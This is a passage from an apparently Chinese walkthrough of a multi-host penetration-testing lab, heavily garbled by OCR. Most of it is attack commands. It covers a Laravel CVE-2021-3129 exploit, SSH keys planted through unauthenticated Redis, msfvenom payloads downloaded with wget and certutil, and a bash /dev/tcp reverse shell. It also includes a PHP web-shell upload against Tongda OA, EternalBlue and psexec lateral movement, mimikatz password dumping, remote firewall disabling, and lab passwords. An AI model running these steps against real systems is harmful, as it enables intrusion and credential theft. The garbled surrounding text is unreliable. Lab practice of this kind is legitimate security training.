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1 sudo redis-server /etc/redis.conf
2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
3 sudo iptables -F

1 sudo service docker start
2 sudo docker start 8el172820ac78

1 C:\MYOA\bin\AutoConfig.exe
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Administrator: Whoami2021
whoami: Whoami2021

bunny: Bunny2021
moretz: Moretz2021

web: web2021

ubuntu: ubuntu

admin: admin657260
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nmap -T4 -sC -sV 192.168.46.160

2. 134 Zip ik 813w D TR, Ul 3 A i R laravel, DA SR AT R A1 FY

81 : laravel FA7ERHFTIRIRA
python laravel-CVE-2021-3129-EXP.py http://H#¥sihhk

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP T H Hbik

3 HEH T TR & H bR HIETT,


https://shimo.im/docs/C9WxVrD6V3tGcjgQ/

BB R AN 8% U php Y

Hagm® LB

(WREES 127.0.0.1

{LigR0

4 18 B2 AT Se A O 4 R R 4, B ASmARER T F B R dockers RIS R, R4 35 T R B B35 18 it &2 4 ) SR R 4T
dockeribif. X B ALVKIBHIAR D A KIE, RERMANEFKGK TR, BA0ITE R LA HAR)E TS50 UE13E 7] E A v
Lo

BEER S¢0T B2HEE THEE AEEE EiEshel NERETE BEIUAR FhEE rEIE #sF EFEEE

5.3% B IRA TR web PR [ 3 B msf A T i

H— R FE o815 04 H £]52.20:8000% M b, iX BH e REEAER, FNEATRImsEHAXT T7 11520 B 1A H AL
il

HRNIREREESE BN FrebEER Lweb2 B FEH



[ Ubuntu 64 i (Web 1) [ Uburtu &4 {57 (Web 2) [[w Windows 7 x64 (PC 1) ([ Winde

Act es [ Terminal = Tue 05:39 @

a web@ubuntu: fetc/nginxfconf.d
\ File Edit" View Search Terminal Tabs Help

TX packets b 2 (11.7 KB)
TX ertors & dropped ® overruns @ carrier 8 coll

S uname -a

C #91-18.04.1-Ubuntu SMP Fri J

ax error near unexpected token ;'
t S 1s
koi-win nginx.conf
fastcgi.conf mime.types proxy_params snippe
fastcgi_params 1 1 scgi_params uwsgi_
koi-utf vd b1 tes-av 1 win-ut

ver name localhos

location / {

oxy_pass http://192.168 . gl HEREE
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nmap -T4 -sC -sV -pl-65535 192.168.xX.XXX
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redis-cli -h 192.168.xX.XXXXX

7.1Redis RV IF]-ssh# &b £ i~ 8 (kali E3AT)

ssh-keygen -t rsa

728 AAISAN

echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
7.3 A A BN B AR EN HredisZ

cat 1.txt | redis-cli -h 192.168.46.160(web=E#HLl) -p 6379(redisid) -x set hello
7.4¥¢ Eredis & 43 B8 42 A/root/.ssh/

config set dir /root/.ssh

7 .59 B #4730 4 Fauthorized_keys

config set dbfilename authorized keys
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save
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ssh root@192.168.46.160
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msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o pl.elf
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wget http://192.168.46.160:81/pl.elf
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msfconsole FFiamsf
use exploit/multi/handler 15 FH MR 7 AR
set payload linux/x64/meterpreter/reverse tcp ¥ ENINIAE G TR

set lhost 192.168.46.158 wHEip
a=R |
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sessions 1 [B1 8] &

run get_local_subnets REXAS Hh #% £

run autoroute -p 2 A< % B

run post/multi/manage/autoroute 75 21| A< 3 i B
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background iR Bl

use auxiliary/scanner/discovery/udp_probe 1§ F 133 b
show options &7~ i% T

set rhosts 192.168.52.1-255 ¥ B EHLiE

set threads 10 ¥ B &%

run iz4T
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" find / -user root -perm -4000 -print 2>/dev/null
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cd /home/jobs
./shell

chmod 777 ps

cp /bin/bash /tmp/ps
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nc -lvp 1234

F kali2021 - root@ubuntu: ~ - Xshell 5

T ElEn S0W) =8
LA &-0-0-4- #F 120 6

18. Krweb U R [ B3 — B FHL b
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1"

@ bitp/192.168.46.160:81 /shelLphp
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export PATH=/tmp:$PATH IIEZ R s

echo $PATH BERREE
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msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf AWRIEMEEN)EI]

2021; Hshell 5
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& http://192.168.46,160:81 /shell php
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htaccess 803 2020-11-17 164017 R
&P faviconico 0 2020-11-17 16:40:17 RAW/
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@ indewphp 7 1 164 R,
plelf 250 2021-08-31 06:31:03 RAWY

@ shell. o 643 08-31 12:34:19

L e L 08
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use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

show options

set lport 7777

set rhost 192.168.52.20 FEHERERT 7 1 ipHbhk

exploit
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cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys

- avxCRE A Rt — 2 & i
echo > /hello/home/ubuntu/.ssh/authorized_keys &= authorized_keys ({4
echo '26FARMIZESH" > /hello/home/ubuntu/.ssh/authorized_keys BsshiiHE N
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ssh root@192.168.46.160 H#EREkall
cat hello.pub BEXH
ssh-keygen -f hello A R 3 4R
chmod 600 hello 45 T AR

1s

cat hello.pub
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ssh -i hello ubuntu@192.168.52.20

F kali2021 - ubuntu@ubunt: ~ - Xshell 5
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Do &-2-9-4- 40 218
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session 4
run get_local_ subnets
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run autoroute -p

run post/multi/manage/autoroute
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F kali2021 - rocti@kali2021: ~ - Xshell 5

TEHF WEE V) TRM SMEE 00w MEH)
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32.3X B FmsfE 7 I F H AR B

use auxiliary/scanner/portscan/tcp
show options

set rhosts 192.168.52.30

set threads 10
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34 SRBAOCH b RS LRI /ispirit/im/upload. php, 7ERE B XA HEE Q15 S p Mg 05 54T

POST /ispirit/im/upload.php HTTP/1.1

Host: x000¢xx

Content-Length: 658

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132
Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: /

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8 ja;q=0.7,en;q=0.6,zh-TW;q=0.5

Cookie: PHPSESSID=123

Connection: close

—————— WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

—————— WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P”

—————— WebKitFormBoundarypyBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID”

—————— WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT”; filename="jpg”
Content-Type: image/jpeg

<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout =
$exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
—————— WebKitFormBoundarypyBh1YB4pV8McGB—
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POST /ispirit/interface/gateway.php HTTP/1.1
Host: ip:3 1

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: python-requests/2.21.0
Content-Length: 69

Content-Type: application/x-www-form-urlencoded

json={“ur”"/generall.../.../attach/im/[& i #4&"}&cmd=whoami
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*" "msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe

EXES SSWF S TeRE GRS Sikhedl DESEE SsoqE FAOE YEDE =SS EsEe
BRiEn TR prvra—"- = (W
v -
| e Aoy L R
| v J 11% RAVA
| nernd C RANE |
g [+ EFS & RN,
! E e 0 R
1 # ind ' RN
q RAW
q l RANE
i
| 1 -
I] @ P

34.8FR T HRXANAY, PATHMIM EL



certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe

[0 Kak2021.2 - VMware Workstation
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Burp Suite Community Edition v2021.2.1 - Temporary Project
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Target: Mip /M50 168.5.2 JE:S080
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Response
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Host. 192 0. 800 e
9 Conpmctlon hesp-alive

Accept -Ercoding: grip, deflate >

Accept: *
3 Usar-dgent: pythen- reguasts/d. I1

Contant -Langth: 70 . . E

Content -Type: application/s-wee-Form-wrlencoded
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wrlcache -split -f http /7192 168 3210 81/w7 evec: /o7 ave

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30

1 - rooti®kali2021: ~ - Xshell 5
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® 2 kali2021 202 4 ® 5 kali2021




34.10 FRMEHXANARLHAT ELERIE

I[image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164752-2546c52a-80e0-1.png)

35. M2 J5 RI A sessions
" “background

M EWEE ®0w  EEH
DO &-03-0-4- €8 L

& 4 kal2021
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background

use auxiliary/scanner/discover/udp_proe
show options

set rhosts 192.168.93.1-50
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39.H—FHms17010

use auxiliary/scanner/smb/smb_ms17_010 HiR B Ams170107%F
show options

set rhosts 192.168.93.20-30 H#i20-30M B
exploit
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kiwi_cmd sekurlsa::logonpasswords 3REUK S35

F kali2021 - root@lkali2021: ~ - Xshell 5
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K4 process
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psS
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45 FREX Elladministartori 5 2 15w >k F F msfffipsexecti bt

background

use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30

show options

set smbuser

E} E®MV TRM FEEE §0W N
B DO &-0-0-4- 89 58 @ H-W-
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® gkl & Jkali202 - 4k & kaliin +
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46. 12 =:F FIsmbl¥ms17010K psexec A& b

use exploit/windows/smb/ms17_010_ psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.40
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wEip
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sessions 5
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net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”
sc\192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc\192.168.93.30 start unablefirewall
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52. W diwin7KIms 17010k

background

use exploit'windows/smb/ms17_010_eternalblue

show options

set payload windows/x64/meterpreter/bind_tcp BH IE [A) & 4
set rhost 192.168.93.40

run

[![image] (https://img-blog.csdnimg.cn/img_convert/0242eblad9dbf46d9763c460aaeb2111.png)](https://xzfile.aliyuncs
.com/media/upload/picture/20220129170244-390ed014-80e2-1.png)
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